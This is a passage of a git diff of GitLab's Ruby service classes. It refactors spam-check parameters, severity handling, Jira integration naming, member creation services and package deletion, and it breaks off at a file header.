- group.refresh_members_authorized_projects(direct_members_only: true)
+ group.refresh_members_authorized_projects(blocking: false, direct_members_only: true)
end
else
Gitlab::AppLogger.info(
diff --git a/app/services/groups/group_links/update_service.rb b/app/services/groups/group_links/update_service.rb
index 3703d535482..a1411de36d6 100644
--- a/app/services/groups/group_links/update_service.rb
+++ b/app/services/groups/group_links/update_service.rb
@@ -13,7 +13,7 @@ module Groups
group_link.update!(group_link_params)
if requires_authorization_refresh?(group_link_params)
- group_link.shared_with_group.refresh_members_authorized_projects(direct_members_only: true)
+ group_link.shared_with_group.refresh_members_authorized_projects(blocking: false, direct_members_only: true)
end
end
diff --git a/app/services/groups/transfer_service.rb b/app/services/groups/transfer_service.rb
index 518d061c654..966d04ceb70 100644
--- a/app/services/groups/transfer_service.rb
+++ b/app/services/groups/transfer_service.rb
@@ -46,6 +46,7 @@ module Groups
def ensure_allowed_transfer
raise_transfer_error(:group_is_already_root) if group_is_already_root?
raise_transfer_error(:same_parent_as_current) if same_parent?
+ raise_transfer_error(:has_subscription) if has_subscription?
raise_transfer_error(:invalid_policies) unless valid_policies?
raise_transfer_error(:namespace_with_same_path) if namespace_with_same_path?
raise_transfer_error(:group_contains_images) if group_projects_contain_registry_images?
@@ -73,6 +74,10 @@ module Groups
@new_parent_group && @new_parent_group.id == @group.parent_id
end
+ def has_subscription?
+ @group.paid?
+ end
+
def transfer_to_subgroup?
@new_parent_group && \
@group.self_and_descendants.pluck_primary_key.include?(@new_parent_group.id)
diff --git a/app/services/incident_management/incidents/create_service.rb b/app/services/incident_management/incidents/create_service.rb
index 7497ee00d74..f8437290d9b 100644
--- a/app/services/incident_management/incidents/create_service.rb
+++ b/app/services/incident_management/incidents/create_service.rb
@@ -20,14 +20,14 @@ module IncidentManagement
params: {
title: title,
description: description,
- issue_type: ISSUE_TYPE
- }
+ issue_type: ISSUE_TYPE,
+ severity: severity
+ },
+ spam_params: nil
).execute
return error(issue.errors.full_messages.to_sentence, issue) unless issue.valid?
- update_severity_for(issue)
-
success(issue)
end
@@ -42,10 +42,6 @@ module IncidentManagement
def error(message, issue = nil)
ServiceResponse.error(payload: { issue: issue }, message: message)
end
-
- def update_severity_for(issue)
- ::IncidentManagement::Incidents::UpdateSeverityService.new(issue, current_user, severity).execute
- end
end
end
end
diff --git a/app/services/incident_management/incidents/update_severity_service.rb b/app/services/incident_management/incidents/update_severity_service.rb
deleted file mode 100644
index faa9277c469..00000000000
--- a/app/services/incident_management/incidents/update_severity_service.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-# frozen_string_literal: true
-
-module IncidentManagement
- module Incidents
- class UpdateSeverityService < BaseService
- def initialize(issuable, current_user, severity)
- super(issuable.project, current_user)
-
- @issuable = issuable
- @severity = severity.to_s.downcase
- @severity = IssuableSeverity::DEFAULT unless IssuableSeverity.severities.key?(@severity)
- end
-
- def execute
- return unless issuable.supports_severity?
-
- update_severity!
- add_system_note
- end
-
- private
-
- attr_reader :issuable, :severity
-
- def issuable_severity
- issuable.issuable_severity || issuable.build_issuable_severity(issue_id: issuable.id)
- end
-
- def update_severity!
- issuable_severity.update!(severity: severity)
- end
-
- def add_system_note
- ::IncidentManagement::AddSeveritySystemNoteWorker.perform_async(issuable.id, current_user.id)
- end
- end
- end
-end
diff --git a/app/services/issuable/clone/base_service.rb b/app/services/issuable/clone/base_service.rb
index f8a9eb3ece5..574fe85b466 100644
--- a/app/services/issuable/clone/base_service.rb
+++ b/app/services/issuable/clone/base_service.rb
@@ -66,7 +66,7 @@ module Issuable
def close_issue
close_service = Issues::CloseService.new(project: old_project, current_user: current_user)
- close_service.execute(original_entity, notifications: false, system_note: false)
+ close_service.execute(original_entity, notifications: false, system_note: true)
end
def new_parent
diff --git a/app/services/issuable/import_csv/base_service.rb b/app/services/issuable/import_csv/base_service.rb
index 27dbc8b3cc4..4a6b7540ded 100644
--- a/app/services/issuable/import_csv/base_service.rb
+++ b/app/services/issuable/import_csv/base_service.rb
@@ -68,7 +68,10 @@ module Issuable
end
def create_issuable(attributes)
- create_issuable_class.new(project: @project, current_user: @user, params: attributes).execute
+ # NOTE: CSV imports are performed by workers, so we do not have a request context in order
+ # to create a SpamParams object to pass to the issuable create service.
+ spam_params = nil
+ create_issuable_class.new(project: @project, current_user: @user, params: attributes, spam_params: spam_params).execute
end
def email_results_to_user
diff --git a/app/services/issuable_base_service.rb b/app/services/issuable_base_service.rb
index 02c1f078a40..8d65865e7da 100644
--- a/app/services/issuable_base_service.rb
+++ b/app/services/issuable_base_service.rb
@@ -57,6 +57,7 @@ class IssuableBaseService < ::BaseProjectService
filter_assignees(issuable)
filter_milestone
filter_labels
+ filter_severity(issuable)
end
def filter_assignees(issuable)
@@ -135,6 +136,16 @@ class IssuableBaseService < ::BaseProjectService
@labels_service ||= ::Labels::AvailableLabelsService.new(current_user, parent, params)
end
+ def filter_severity(issuable)
+ severity = params.delete(:severity)
+ return unless severity && issuable.supports_severity?
+
+ severity = IssuableSeverity::DEFAULT unless IssuableSeverity.severities.key?(severity)
+ return if severity == issuable.severity
+
+ params[:issuable_severity_attributes] = { severity: severity }
+ end
+
def process_label_ids(attributes, existing_label_ids: nil, extra_label_ids: [])
label_ids = attributes.delete(:label_ids)
add_label_ids = attributes.delete(:add_label_ids)
@@ -352,7 +363,6 @@ class IssuableBaseService < ::BaseProjectService
def change_additional_attributes(issuable)
change_state(issuable)
- change_severity(issuable)
change_subscription(issuable)
change_todo(issuable)
toggle_award(issuable)
@@ -371,12 +381,6 @@ class IssuableBaseService < ::BaseProjectService
end
end
- def change_severity(issuable)
- if severity = params.delete(:severity)
- ::IncidentManagement::Incidents::UpdateSeverityService.new(issuable, current_user, severity).execute
- end
- end
-
def change_subscription(issuable)
case params.delete(:subscription_event)
when 'subscribe'
@@ -443,6 +447,7 @@ class IssuableBaseService < ::BaseProjectService
associations[:time_change] = issuable.time_change if issuable.respond_to?(:time_change)
associations[:description] = issuable.description
associations[:reviewers] = issuable.reviewers.to_a if issuable.allows_reviewers?
+ associations[:severity] = issuable.severity if issuable.supports_severity?
associations
end
diff --git a/app/services/issues/base_service.rb b/app/services/issues/base_service.rb
index 1c50bb74176..bf66a33a7b2 100644
--- a/app/services/issues/base_service.rb
+++ b/app/services/issues/base_service.rb
@@ -60,7 +60,7 @@ module Issues
issue_data = Gitlab::Lazy.new { hook_data(issue, action, old_associations: old_associations) }
hooks_scope = issue.confidential? ? :confidential_issue_hooks : :issue_hooks
issue.project.execute_hooks(issue_data, hooks_scope)
- issue.project.execute_services(issue_data, hooks_scope)
+ issue.project.execute_integrations(issue_data, hooks_scope)
end
def update_project_counter_caches?(issue)
diff --git a/app/services/issues/clone_service.rb b/app/services/issues/clone_service.rb
index 6df32f1104c..cb42334fe32 100644
--- a/app/services/issues/clone_service.rb
+++ b/app/services/issues/clone_service.rb
@@ -55,9 +55,13 @@ module Issues
new_params = original_entity.serializable_hash.symbolize_keys.merge(new_params)
+ # spam checking is not necessary, as no new content is being created. Passing nil for
+ # spam_params will cause SpamActionService to skip checking and return a success response.
+ spam_params = nil
+
# Skip creation of system notes for existing attributes of the issue. The system notes of the old
# issue are copied over so we don't want to end up with duplicate notes.
- CreateService.new(project: target_project, current_user: current_user, params: new_params).execute(skip_system_notes: true)
+ CreateService.new(project: target_project, current_user: current_user, params: new_params, spam_params: spam_params).execute(skip_system_notes: true)
end
def queue_copy_designs
diff --git a/app/services/issues/create_service.rb b/app/services/issues/create_service.rb
index 53f3dc39ba3..30d081996b1 100644
--- a/app/services/issues/create_service.rb
+++ b/app/services/issues/create_service.rb
@@ -4,10 +4,21 @@ module Issues
class CreateService < Issues::BaseService
include ResolveDiscussions
- def execute(skip_system_notes: false)
- @request = params.delete(:request)
- @spam_params = Spam::SpamActionService.filter_spam_params!(params, @request)
+ # NOTE: For Issues::CreateService, we require the spam_params and do not default it to nil, because
+ # spam_checking is likely to be necessary. However, if there is not a request available in scope
+ # in the caller (for example, an issue created via email) and the required arguments to the
+ # SpamParams constructor are not otherwise available, spam_params: must be explicitly passed as nil.
+ def initialize(project:, current_user: nil, params: {}, spam_params:)
+ # Temporary check to ensure we are no longer passing request in params now that we have
+ # introduced spam_params. Raise an exception if it is present.
+ # Remove after https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58603 is complete.
+ raise if params[:request]
+
+ super(project: project, current_user: current_user, params: params)
+ @spam_params = spam_params
+ end
+ def execute(skip_system_notes: false)
@issue = BuildService.new(project: project, current_user: current_user, params: params).execute
filter_resolve_discussion_params
@@ -18,10 +29,10 @@ module Issues
def before_create(issue)
Spam::SpamActionService.new(
spammable: issue,
- request: request,
+ spam_params: spam_params,
user: current_user,
action: :create
- ).execute(spam_params: spam_params)
+ ).execute
# current_user (defined in BaseService) is not available within run_after_commit block
user = current_user
@@ -64,10 +75,10 @@ module Issues
private
- attr_reader :request, :spam_params
+ attr_reader :spam_params
def user_agent_detail_service
- UserAgentDetailService.new(@issue, request)
+ UserAgentDetailService.new(spammable: @issue, spam_params: spam_params)
end
end
end
diff --git a/app/services/issues/duplicate_service.rb b/app/services/issues/duplicate_service.rb
index d150f0e5917..9547698d916 100644
--- a/app/services/issues/duplicate_service.rb
+++ b/app/services/issues/duplicate_service.rb
@@ -28,6 +28,7 @@ module Issues
def relate_two_issues(duplicate_issue, canonical_issue)
params = { target_issuable: canonical_issue }
+
IssueLinks::CreateService.new(duplicate_issue, current_user, params).execute
end
end
diff --git a/app/services/issues/move_service.rb b/app/services/issues/move_service.rb
index e49123a2993..ff78221c941 100644
--- a/app/services/issues/move_service.rb
+++ b/app/services/issues/move_service.rb
@@ -58,10 +58,13 @@ module Issues
}
new_params = original_entity.serializable_hash.symbolize_keys.merge(new_params)
+ # spam checking is not necessary, as no new content is being created. Passing nil for
+ # spam_params will cause SpamActionService to skip checking and return a success response.
+ spam_params = nil
# Skip creation of system notes for existing attributes of the issue. The system notes of the old
# issue are copied over so we don't want to end up with duplicate notes.
- CreateService.new(project: @target_project, current_user: @current_user, params: new_params).execute(skip_system_notes: true)
+ CreateService.new(project: @target_project, current_user: @current_user, params: new_params, spam_params: spam_params).execute(skip_system_notes: true)
end
def queue_copy_designs
diff --git a/app/services/issues/update_service.rb b/app/services/issues/update_service.rb
index cf2892bf413..9ede5ef728b 100644
--- a/app/services/issues/update_service.rb
+++ b/app/services/issues/update_service.rb
@@ -4,12 +4,17 @@ module Issues
class UpdateService < Issues::BaseService
extend ::Gitlab::Utils::Override
+ # NOTE: For Issues::UpdateService, we default the spam_params to nil, because spam_checking is not
+ # necessary in many cases, and we don't want to require every caller to explicitly pass it as nil
+ # to disable spam checking.
+ def initialize(project:, current_user: nil, params: {}, spam_params: nil)
+ super(project: project, current_user: current_user, params: params)
+ @spam_params = spam_params
+ end
+
def execute(issue)
handle_move_between_ids(issue)
- @request = params.delete(:request)
- @spam_params = Spam::SpamActionService.filter_spam_params!(params, @request)
-
change_issue_duplicate(issue)
move_issue_to_new_project(issue) || clone_issue(issue) || update_task_event(issue) || update(issue)
end
@@ -25,10 +30,10 @@ module Issues
Spam::SpamActionService.new(
spammable: issue,
- request: request,
+ spam_params: spam_params,
user: current_user,
action: :update
- ).execute(spam_params: spam_params)
+ ).execute
end
def handle_changes(issue, options)
@@ -37,6 +42,7 @@ module Issues
old_labels = old_associations.fetch(:labels, [])
old_mentioned_users = old_associations.fetch(:mentioned_users, [])
old_assignees = old_associations.fetch(:assignees, [])
+ old_severity = old_associations[:severity]
if has_changes?(issue, old_labels: old_labels, old_assignees: old_assignees)
todo_service.resolve_todos_for_target(issue, current_user)
@@ -69,6 +75,8 @@ module Issues
if added_mentions.present?
notification_service.async.new_mentions_in_issue(issue, added_mentions, current_user)
end
+
+ handle_severity_change(issue, old_severity)
end
def handle_assignee_changes(issue, old_assignees)
@@ -127,7 +135,7 @@ module Issues
private
- attr_reader :request, :spam_params
+ attr_reader :spam_params
def clone_issue(issue)
target_project = params.delete(:target_clone_project)
@@ -176,6 +184,12 @@ module Issues
end
end
+ def handle_severity_change(issue, old_severity)
+ return unless old_severity && issue.severity != old_severity
+
+ ::IncidentManagement::AddSeveritySystemNoteWorker.perform_async(issue.id, current_user.id)
+ end
+
# rubocop: disable CodeReuse/ActiveRecord
def issuable_for_positioning(id, board_group_id = nil)
return unless id
diff --git a/app/services/jira/requests/base.rb b/app/services/jira/requests/base.rb
index bae8298d5c8..e4e2736ca2f 100644
--- a/app/services/jira/requests/base.rb
+++ b/app/services/jira/requests/base.rb
@@ -7,20 +7,20 @@ module Jira
JIRA_API_VERSION = 2
- def initialize(jira_service, params = {})
- @project = jira_service&.project
- @jira_service = jira_service
+ def initialize(jira_integration, params = {})
+ @project = jira_integration&.project
+ @jira_integration = jira_integration
end
def execute
- return ServiceResponse.error(message: _('Jira service not configured.')) unless jira_service&.active?
+ return ServiceResponse.error(message: _('Jira service not configured.')) unless jira_integration&.active?
request
end
private
- attr_reader :jira_service, :project
+ attr_reader :jira_integration, :project
# We have to add the context_path here because the Jira client is not taking it into account
def base_api_url
@@ -37,7 +37,7 @@ module Jira
end
def client
- @client ||= jira_service.client
+ @client ||= jira_integration.client
end
def request
diff --git a/app/services/jira/requests/projects/list_service.rb b/app/services/jira/requests/projects/list_service.rb
index 373c536974a..ac9e9bf0be9 100644
--- a/app/services/jira/requests/projects/list_service.rb
+++ b/app/services/jira/requests/projects/list_service.rb
@@ -6,8 +6,8 @@ module Jira
class ListService < Base
extend ::Gitlab::Utils::Override
- def initialize(jira_service, params = {})
- super(jira_service, params)
+ def initialize(jira_integration, params = {})
+ super(jira_integration, params)
@query = params[:query]
end
diff --git a/app/services/jira_connect_installations/destroy_service.rb b/app/services/jira_connect_installations/destroy_service.rb
new file mode 100644
index 00000000000..cfe58575dcf
--- /dev/null
+++ b/app/services/jira_connect_installations/destroy_service.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module JiraConnectInstallations
+ class DestroyService
+ def self.execute(installation, jira_connect_base_path, jira_connect_uninstalled_event_path)
+ new(installation, jira_connect_base_path, jira_connect_uninstalled_event_path).execute
+ end
+
+ def initialize(installation, jira_connect_base_path, jira_connect_uninstalled_event_path)
+ @installation = installation
+ @jira_connect_base_path = jira_connect_base_path
+ @jira_connect_uninstalled_event_path = jira_connect_uninstalled_event_path
+ end
+
+ def execute
+ if @installation.instance_url.present?
+ JiraConnect::ForwardEventWorker.perform_async(@installation.id, @jira_connect_base_path, @jira_connect_uninstalled_event_path)
+ return true
+ end
+
+ @installation.destroy
+ end
+ end
+end
diff --git a/app/services/jira_import/users_importer.rb b/app/services/jira_import/users_importer.rb
index 5b2f91efc38..667a2836acc 100644
--- a/app/services/jira_import/users_importer.rb
+++ b/app/services/jira_import/users_importer.rb
@@ -32,9 +32,9 @@ module JiraImport
end
def user_mapper_service_factory
- if project.jira_service.data_fields.deployment_server?
+ if project.jira_integration.data_fields.deployment_server?
ServerUsersMapperService.new(user, project, start_at)
- elsif project.jira_service.data_fields.deployment_cloud?
+ elsif project.jira_integration.data_fields.deployment_cloud?
CloudUsersMapperService.new(user, project, start_at)
else
raise ArgumentError
diff --git a/app/services/jira_import/users_mapper_service.rb b/app/services/jira_import/users_mapper_service.rb
index 6c8610bfbf3..13e0dd5120e 100644
--- a/app/services/jira_import/users_mapper_service.rb
+++ b/app/services/jira_import/users_mapper_service.rb
@@ -13,7 +13,7 @@ module JiraImport
def initialize(current_user, project, start_at)
@current_user = current_user
@project = project
- @jira_service = project.jira_service
+ @jira_integration = project.jira_integration
@start_at = start_at
end
@@ -29,14 +29,14 @@ module JiraImport
private
- attr_reader :current_user, :project, :jira_service, :start_at
+ attr_reader :current_user, :project, :jira_integration, :start_at
def jira_users
@jira_users ||= client.get(url)
end
def client
- @client ||= jira_service.client
+ @client ||= jira_integration.client
end
def url
@@ -77,7 +77,7 @@ module JiraImport
end
def project_member_ids
- @project_member_ids ||= MembersFinder.new(project, current_user).execute.select(:user_id)
+ @project_member_ids ||= MembersFinder.new(project, current_user).execute.reselect(:user_id)
end
end
end
diff --git a/app/services/keys/destroy_service.rb b/app/services/keys/destroy_service.rb
index eaf5eb35f58..c7ebb484e94 100644
--- a/app/services/keys/destroy_service.rb
+++ b/app/services/keys/destroy_service.rb
@@ -3,14 +3,22 @@
module Keys
class DestroyService < ::Keys::BaseService
def execute(key)
- key.destroy if destroy_possible?(key)
+ return unless destroy_possible?(key)
+
+ destroy(key)
end
+ private
+
# overridden in EE::Keys::DestroyService
def destroy_possible?(key)
true
end
+
+ def destroy(key)
+ key.destroy
+ end
end
end
-Keys::DestroyService.prepend_mod_with('Keys::DestroyService')
+Keys::DestroyService.prepend_mod
diff --git a/app/services/members/creator_service.rb b/app/services/members/creator_service.rb
new file mode 100644
index 00000000000..f6972f81162
--- /dev/null
+++ b/app/services/members/creator_service.rb
@@ -0,0 +1,172 @@
+# frozen_string_literal: true
+
+module Members
+ # This class serves as more of an app-wide way we add/create members
+ # All roads to add members should take this path.
+ class CreatorService
+ class << self
+ def parsed_access_level(access_level)
+ access_levels.fetch(access_level) { access_level.to_i }
+ end
+
+ def access_levels
+ raise NotImplementedError
+ end
+
+ def add_users(source, users, access_level, current_user: nil, expires_at: nil)
+ return [] unless users.present?
+
+ emails, users, existing_members = parse_users_list(source, users)
+
+ Member.transaction do
+ (emails + users).map! do |user|
+ new(source,
+ user,
+ access_level,
+ existing_members: existing_members,
+ current_user: current_user,
+ expires_at: expires_at)
+ .execute
+ end
+ end
+ end
+
+ private
+
+ def parse_users_list(source, list)
+ emails = []
+ user_ids = []
+ users = []
+ existing_members = {}
+
+ list.each do |item|
+ case item
+ when User
+ users << item
+ when Integer
+ user_ids << item
+ when /\A\d+\Z/
+ user_ids << item.to_i
+ when Devise.email_regexp
+ emails << item
+ end
+ end
+
+ if user_ids.present?
+ users.concat(User.id_in(user_ids))
+ # the below will automatically discard invalid user_ids
+ existing_members = source.members_and_requesters.where(user_id: user_ids).index_by(&:user_id) # rubocop:todo CodeReuse/ActiveRecord
+ end
+
+ [emails, users, existing_members]
+ end
+ end
+
+ def initialize(source, user, access_level, **args)
+ @source = source
+ @user = user
+ @access_level = self.class.parsed_access_level(access_level)
+ @args = args
+ end
+
+ def execute
+ find_or_build_member
+ update_member
+
+ member
+ end
+
+ private
+
+ attr_reader :source, :user, :access_level, :member, :args
+
+ def update_member
+ return unless can_update_member?
+
+ member.attributes = member_attributes
+
+ if member.request?
+ approve_request
+ else
+ member.save
+ end
+ end
+
+ def can_update_member?
+ # There is no current user for bulk actions, in which case anything is allowed
+ !current_user # inheriting classes will add more logic
+ end
+
+ # Populates the attributes of a member.
+ #
+ # This logic resides in a separate method so that EE can extend this logic,
+ # without having to patch the `add_user` method directly.
+ def member_attributes
+ {
+ created_by: member.created_by || current_user,
+ access_level: access_level,
+ expires_at: args[:expires_at]
+ }
+ end
+
+ def approve_request
+ ::Members::ApproveAccessRequestService.new(current_user,
+ access_level: access_level)
+ .execute(
+ member,
+ skip_authorization: ldap,
+ skip_log_audit_event: ldap
+ )
+ end
+
+ def current_user
+ args[:current_user]
+ end
+
+ def find_or_build_member
+ @user = parse_user_param
+
+ @member = if user.is_a?(User)
+ find_or_initialize_member_by_user
+ else
+ source.members.build(invite_email: user)
+ end
+ end
+
+ # This method is used to find users that have been entered into the "Add members" field.
+ # These can be the User objects directly, their IDs, their emails, or new emails to be invited.
+ def parse_user_param
+ case user
+ when User
+ user
+ when Integer
+ # might not return anything - this needs enhancement
+ User.find_by(id: user) # rubocop:todo CodeReuse/ActiveRecord
+ else
+ # must be an email or at least we'll consider it one
+ User.find_by_any_email(user) || user
+ end
+ end
+
+ def find_or_initialize_member_by_user
+ if existing_members
+ # TODO: https://gitlab.com/gitlab-org/gitlab/-/issues/334062
+ # i'm not so sure this is needed as the parse_users_list looks at members_and_requesters...
+ # so it is like we could just do a find or initialize by here and be fine
+ existing_members[user.id] || source.members.build(user_id: user.id)
+ else
+ source.members_and_requesters.find_or_initialize_by(user_id: user.id) # rubocop:todo CodeReuse/ActiveRecord
+ end
+ end
+
+ def existing_members
+ args[:existing_members]
+ end
+
+ def ldap
+ args[:ldap] || false
+ end
+ end
+end
+
+Members::CreatorService.prepend_mod_with('Members::CreatorService')
diff --git a/app/services/members/groups/creator_service.rb b/app/services/members/groups/creator_service.rb
new file mode 100644
index 00000000000..df4d3f59d3b
--- /dev/null
+++ b/app/services/members/groups/creator_service.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Members
+ module Groups
+ class CreatorService < Members::CreatorService
+ def self.access_levels
+ Gitlab::Access.sym_options_with_owner
+ end
+
+ private
+
+ def can_update_member?
+ super || current_user.can?(:update_group_member, member)
+ end
+ end
+ end
+end
diff --git a/app/services/members/invite_service.rb b/app/services/members/invite_service.rb
index 48010f9c8e7..6298943977b 100644
--- a/app/services/members/invite_service.rb
+++ b/app/services/members/invite_service.rb
@@ -21,7 +21,7 @@ module Members
def validate_invites!
super
- # we need the below due to add_users hitting Member#parse_users_list and ignoring invalid emails
+ # we need the below due to add_users hitting Members::CreatorService.parse_users_list and ignoring invalid emails
# ideally we wouldn't need this, but we can't really change the add_users method
valid, invalid = invites.partition { |email| Member.valid_email?(email) }
@invites = valid
diff --git a/app/services/members/projects/creator_service.rb b/app/services/members/projects/creator_service.rb
new file mode 100644
index 00000000000..2e974177075
--- /dev/null
+++ b/app/services/members/projects/creator_service.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module Members
+ module Projects
+ class CreatorService < Members::CreatorService
+ def self.access_levels
+ Gitlab::Access.sym_options
+ end
+
+ private
+
+ def can_update_member?
+ super || current_user.can?(:update_project_member, member) || adding_a_new_owner?
+ end
+
+ def adding_a_new_owner?
+ # this condition is reached during testing setup a lot due to use of `.add_user`
+ member.owner? && member.new_record?
+ end
+ end
+ end
+end
diff --git a/app/services/merge_requests/base_service.rb b/app/services/merge_requests/base_service.rb
index 7ebdbf94932..099ab1d26e9 100644
--- a/app/services/merge_requests/base_service.rb
+++ b/app/services/merge_requests/base_service.rb
@@ -22,7 +22,7 @@ module MergeRequests
def execute_hooks(merge_request, action = 'open', old_rev: nil, old_associations: {})
merge_data = hook_data(merge_request, action, old_rev: old_rev, old_associations: old_associations)
merge_request.project.execute_hooks(merge_data, :merge_request_hooks)
- merge_request.project.execute_services(merge_data, :merge_request_hooks)
+ merge_request.project.execute_integrations(merge_data, :merge_request_hooks)
execute_external_hooks(merge_request, merge_data)
diff --git a/app/services/merge_requests/push_options_handler_service.rb b/app/services/merge_requests/push_options_handler_service.rb
index cc1e08e1606..79b7eb8d9d8 100644
--- a/app/services/merge_requests/push_options_handler_service.rb
+++ b/app/services/merge_requests/push_options_handler_service.rb
@@ -142,6 +142,11 @@ module MergeRequests
params[:add_assignee_ids] = params.delete(:assign).keys if params.has_key?(:assign)
params[:remove_assignee_ids] = params.delete(:unassign).keys if params.has_key?(:unassign)
+ if push_options[:milestone]
+ milestone = Milestone.for_projects_and_groups(@project, @project.ancestors_upto)&.find_by_name(push_options[:milestone])
+ params[:milestone] = milestone if milestone
+ end
+
params
end
diff --git a/app/services/merge_requests/rebase_service.rb b/app/services/merge_requests/rebase_service.rb
index ae8398e2335..9423194c01d 100644
--- a/app/services/merge_requests/rebase_service.rb
+++ b/app/services/merge_requests/rebase_service.rb
@@ -18,12 +18,6 @@ module MergeRequests
end
def rebase
- # Ensure Gitaly isn't already running a rebase
- if source_project.repository.rebase_in_progress?(merge_request.id)
- log_error(exception: nil, message: 'Rebase task canceled: Another rebase is already in progress', save_message_on_model: true)
- return false
- end
-
repository.rebase(current_user, merge_request, skip_ci: @skip_ci)
true
diff --git a/app/services/metrics_service.rb b/app/services/metrics_service.rb
index 222a5c8c79c..d27328f89cd 100644
--- a/app/services/metrics_service.rb
+++ b/app/services/metrics_service.rb
@@ -4,7 +4,7 @@ require 'prometheus/client/formats/text'
class MetricsService
def prometheus_metrics_text
- Prometheus::Client::Formats::Text.marshal_multiprocess(multiprocess_metrics_path)
+ ::Prometheus::Client::Formats::Text.marshal_multiprocess(multiprocess_metrics_path)
end
def metrics_text
diff --git a/app/services/namespace_settings/update_service.rb b/app/services/namespace_settings/update_service.rb
index 80f15f7cc22..25525265e1c 100644
--- a/app/services/namespace_settings/update_service.rb
+++ b/app/services/namespace_settings/update_service.rb
@@ -14,7 +14,15 @@ module NamespaceSettings
def execute
validate_resource_access_token_creation_allowed_param
- validate_prevent_sharing_groups_outside_hierarchy_param
+
+ validate_settings_param_for_root_group(
+ param_key: :prevent_sharing_groups_outside_hierarchy,
+ user_policy: :change_prevent_sharing_groups_outside_hierarchy
+ )
+ validate_settings_param_for_root_group(
+ param_key: :new_user_signups_cap,
+ user_policy: :change_new_user_signups_cap
+ )
if group.namespace_settings
group.namespace_settings.attributes = settings_params
@@ -34,12 +42,17 @@ module NamespaceSettings
end
end
- def validate_prevent_sharing_groups_outside_hierarchy_param
- return if settings_params[:prevent_sharing_groups_outside_hierarchy].nil?
+ def validate_settings_param_for_root_group(param_key:, user_policy:)
+ return if settings_params[param_key].nil?
+
+ unless can?(current_user, user_policy, group)
+ settings_params.delete(param_key)
+ group.namespace_settings.errors.add(param_key, _('can only be changed by a group admin.'))
+ end
- unless can?(current_user, :change_prevent_sharing_groups_outside_hierarchy, group)
- settings_params.delete(:prevent_sharing_groups_outside_hierarchy)
- group.namespace_settings.errors.add(:prevent_sharing_groups_outside_hierarchy, _('can only be changed by a group admin.'))
+ unless group.root?
+ settings_params.delete(param_key)
+ group.namespace_settings.errors.add(param_key, _('only available on top-level groups.'))
end
end
end
diff --git a/app/services/namespaces/in_product_marketing_emails_service.rb b/app/services/namespaces/in_product_marketing_emails_service.rb
index 3461362b48c..f7f0cf9abe8 100644
--- a/app/services/namespaces/in_product_marketing_emails_service.rb
+++ b/app/services/namespaces/in_product_marketing_emails_service.rb
@@ -2,8 +2,6 @@
module Namespaces
class InProductMarketingEmailsService
- include Gitlab::Experimentation::GroupTypes
-
TRACKS = {
create: {
interval_days: [1, 5, 10],
@@ -61,12 +59,6 @@ module Namespaces
attr_reader :track, :interval, :in_product_marketing_email_records
def send_email_for_group(group)
- if Gitlab.com?
- experiment_enabled_for_group = experiment_enabled_for_group?(group)
- experiment_add_group(group, experiment_enabled_for_group)
- return unless experiment_enabled_for_group
- end
-
users_for_group(group).each do |user|
if can_perform_action?(user, group)
send_email(user, group)
@@ -77,15 +69,6 @@ module Namespaces
save_tracked_emails!
end
- def experiment_enabled_for_group?(group)
- Gitlab::Experimentation.in_experiment_group?(:in_product_marketing_emails, subject: group)
- end
-
- def experiment_add_group(group, experiment_enabled_for_group)
- variant = experiment_enabled_for_group ? GROUP_EXPERIMENTAL : GROUP_CONTROL
- Experiment.add_group(:in_product_marketing_emails, variant: variant, group: group)
- end
-
def groups_for_track
onboarding_progress_scope = OnboardingProgress
.completed_actions_with_latest_in_range(completed_actions, range)
diff --git a/app/services/notes/post_process_service.rb b/app/services/notes/post_process_service.rb
index b7ccdbc1cff..c9375fe14a1 100644
--- a/app/services/notes/post_process_service.rb
+++ b/app/services/notes/post_process_service.rb
@@ -39,7 +39,7 @@ module Notes
hooks_scope = note.confidential?(include_noteable: true) ? :confidential_note_hooks : :note_hooks
note.project.execute_hooks(note_data, hooks_scope)
- note.project.execute_services(note_data, hooks_scope)
+ note.project.execute_integrations(note_data, hooks_scope)
end
end
end
diff --git a/app/services/notification_service.rb b/app/services/notification_service.rb
index 9dfcfe748da..afc9015e758 100644
--- a/app/services/notification_service.rb
+++ b/app/services/notification_service.rb
@@ -396,6 +396,7 @@ class NotificationService
recipients.each do |recipient|
mailer.service_desk_new_note_email(issue.id, note.id, recipient).deliver_later
+ Gitlab::Metrics::BackgroundTransaction.current&.add_event(:service_desk_new_note_email)
end
end
@@ -427,6 +428,10 @@ class NotificationService
mailer.user_admin_rejection_email(name, email).deliver_later
end
+ def user_deactivated(name, email)
+ mailer.user_deactivated_email(name, email).deliver_later
+ end
+
# Members
def new_access_request(member)
return true unless member.notifiable?(:subscription)
diff --git a/app/services/packages/conan/search_service.rb b/app/services/packages/conan/search_service.rb
index 143fd8a627b..31ee9bea084 100644
--- a/app/services/packages/conan/search_service.rb
+++ b/app/services/packages/conan/search_service.rb
@@ -41,7 +41,7 @@ module Packages
end
def search_for_single_package(query)
- name, version, username, _ = query.split(/[@\/]/)
+ name, version, username, _ = query.split(%r{[@/]})
full_path = Packages::Conan::Metadatum.full_path_from(package_username: username)
project = Project.find_by_full_path(full_path)
return unless Ability.allowed?(current_user, :read_package, project)
diff --git a/app/services/packages/destroy_package_service.rb b/app/services/packages/destroy_package_service.rb
new file mode 100644
index 00000000000..697f1fa3ac8
--- /dev/null
+++ b/app/services/packages/destroy_package_service.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module Packages
+ class DestroyPackageService < BaseContainerService
+ alias_method :package, :container
+
+ def execute
+ return service_response_error("You don't have access to this package", 403) unless user_can_delete_package?
+
+ package.destroy!
+
+ package.sync_maven_metadata(current_user)
+
+ service_response_success('Package was successfully deleted')
+ rescue StandardError
+ service_response_error('Failed to remove the package', 400)
+ end
+
+ private
+
+ def service_response_error(message, http_status)
+ ServiceResponse.error(message: message, http_status: http_status)
+ end
+
+ def service_response_success(message)
+ ServiceResponse.success(message: message)
+ end
+
+ def user_can_delete_package?
+ can?(current_user, :destroy_package, package.project)
+ end
+ end
+end
diff --git a/app/services/packages/nuget/metadata_extraction_service.rb b/app/services/packages/nuget/metadata_extraction_service.rb
index 63da98dde43..66abd189153 100644
--- a/app/services/packages/nuget/metadata_extraction_service.rb
+++ b/app/services/packages/nuget/metadata_extraction_service.rb
